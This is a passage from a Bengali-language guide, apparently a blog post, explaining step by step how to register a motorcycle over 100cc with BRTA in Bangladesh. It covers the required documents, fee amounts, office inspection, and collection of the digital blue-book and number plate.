০৫ মুসক ১১ চালান পত্র (যে ইম্পোর্টার এর নিকট থেকে ক্রয় করেছেন তার অনুকুলে ) ১০. ৫০ টাকার ষ্টাম্প এ একজন উকিল কতৃক সত্যায়িত।
০৬. ট্রেজারী চালান সোনালী ব্যাংক (ট্যাক্স অফিসার কতৃক সত্যায়িত)।
(যে ডিলার এর নিকট থেকে ক্রয় করেছেন তার অনুকুলে)
০৭. ট্রেজারী চালান সোনালী ব্যাংক
(যে ইম্পোর্টার এর নিকট থেকে ক্রয় করেছেন তার অনুকুলে )
০৮. আমদানী সংক্রান্ত কাগজ পত্র (বি,আর,টি,এ কতৃক অনুমদিত)
০৯. কাষ্টমস সংক্রান্ত কাগজ পত্র
(এই ষ্টাম্প টি – বি,আর,টি,এ এর সামনের দোকান থেকে সংগ্রহ করতে হবে )
সকল কাগজ পত্রের সাথে ইঞ্জিন নম্বর ও চেশিস নম্বর মিলিয়ে নিবেন।
ধাপ ০২:
বি,আর,টি,এ কতৃক অনুমদিত ব্যাংক এ টাকা জমা দিন । (এটি ১০০ সিসি এর উপরের মটর সাইকেলের জন্য প্রযোজ্য)
(০১). নতুন রেজিষ্ট্রেশন ইস্যু এর জন্য ৭,২০৫ টাকা (সাত হাজার দুইশত পাঁচ টাকা)।
(০২). ট্যাক্স টোকেন ইস্যু এর জন্য ১১,৫০০টাকা (এগার হাজার পাঁচশত টাকা)।
(০৩). ডিজিটাল রেজিষ্ট্রেশন সার্টিফিকেট ইস্যু এর জন্য ৫৫৫ টাকা (পাঁচশত পঞ্চান্ন টাকা) সর্ব মোট= ১৯২৬০ টাকা
ধাপ ০৩:
উপরোক্ত সকল কাগজ পত্র নিয়ে বি,আর,টি,এ অফিসে গিয়ে জমা দিতে হবে। সকল কাগজ পত্র ঠিক থাকলে একজন মোটরযান পরিদর্শক আপনার বাইক টি সরজমিনে পরিদর্শন করবে এবং এর পর তিনি স্বাক্ষর করবেন। তার স্বাক্ষরীত কাগজ অফিস সেকশনে জমা দিতে হবে।
ধাপ ০৪:
জমা দেওয়ার ৭ থেকে ১০ দিনের মধ্যে বি,আর,টি,এ অফিসে যোগাযোগ করলে রেজিষ্ট্রেশন নাম্বার , ট্যাক্স টেকেন, একোনলেজমেন্ট স্লিপ পেয়ে যাবেন।
ধাপ ০৫:
এরপর ডিজিটাল ব্লু- বুক এর জন্য ডিজিটাল রেজিষ্ট্রেশন সেকশন এ যোগাযোগ করুন। এই সময় টাকা জমা দেওয়ার রশিদ, রজিষ্ট্রেশন নাম্বার , ট্যাক্স টেকেন, একোনলেজমেন্ট স্লিপ, জাতীয় পরিচয় পত্র সংগে রাখবেন। সকল কাগজ পত্র ঠিক থাকলে ঐ দিন ই আপনার ছবি, আংগুলে ছাপ, স্বাক্ষর নেওয়া হবে।
ধাপ ০৬:
এরপর আপনার ডিজিটাল ব্লু-বুক (স্মার্ট কার্ড) ও ডিজিটাল নম্বর প্লেট তৈরী হয়ে গেলে আপনার মোবাইলে ডেলিভারী তারিখ সহ এস,এম,এস আসবে । তারিখ অনুযায়ী আপনি বি,আর,টি,এ অফিসে যোগাযোগ করলে আপনি ডিজিটাল ব্লু-বুক (স্মার্ট কার্ড) ও ডিজিটাল নম্বর প্লেট পেয়ে যাবেন। ডিজিটাল নম্বর প্লেট সংক্রান্ত তথ্যের জন্য আপনার মোবাইল দিয়ে NP লিখে এস,এম,এস করুন ৬৯৬৯ নাম্বারে (নাম্বার টি অবশ্যই আপনি যে নাম্বারটি রেজিষ্ট্রেশন ফরমে উল্লেখ করেছেন সেই নাম্বার হতে হবে) অথবা কল করুন ০১৭৫৫৬১৫৯২৫ নাম্বারে।
নিজের গাড়ির রেজিষ্ট্রেশন নিজেই করুন অযথা দালালের নিকট অর্থ অপচয় করবেন না। অনেকে বলে যে নিজে নিজে রেজিষ্ট্রেশন করা অনেক ঝামেলার এই কথাটা একেবারেই ঠিক নয় আর যতটুকু ঝামেলায় আপনি পরবেন তার চেয়ে অনেক বেশী শিখবেন আশা করি। সাবধানে মটর সাইকেল চালান মনে রাখবেন আপনার অসাবধানতা আপনার পরিবারের জন্য কষ্টের কারন হতে পারে। লেখাতে কোন ভুল থাকলে ক্ষমা সুন্দর দৃষ্টিতে দেখবেন। ধন্যবাদ সকল কে ।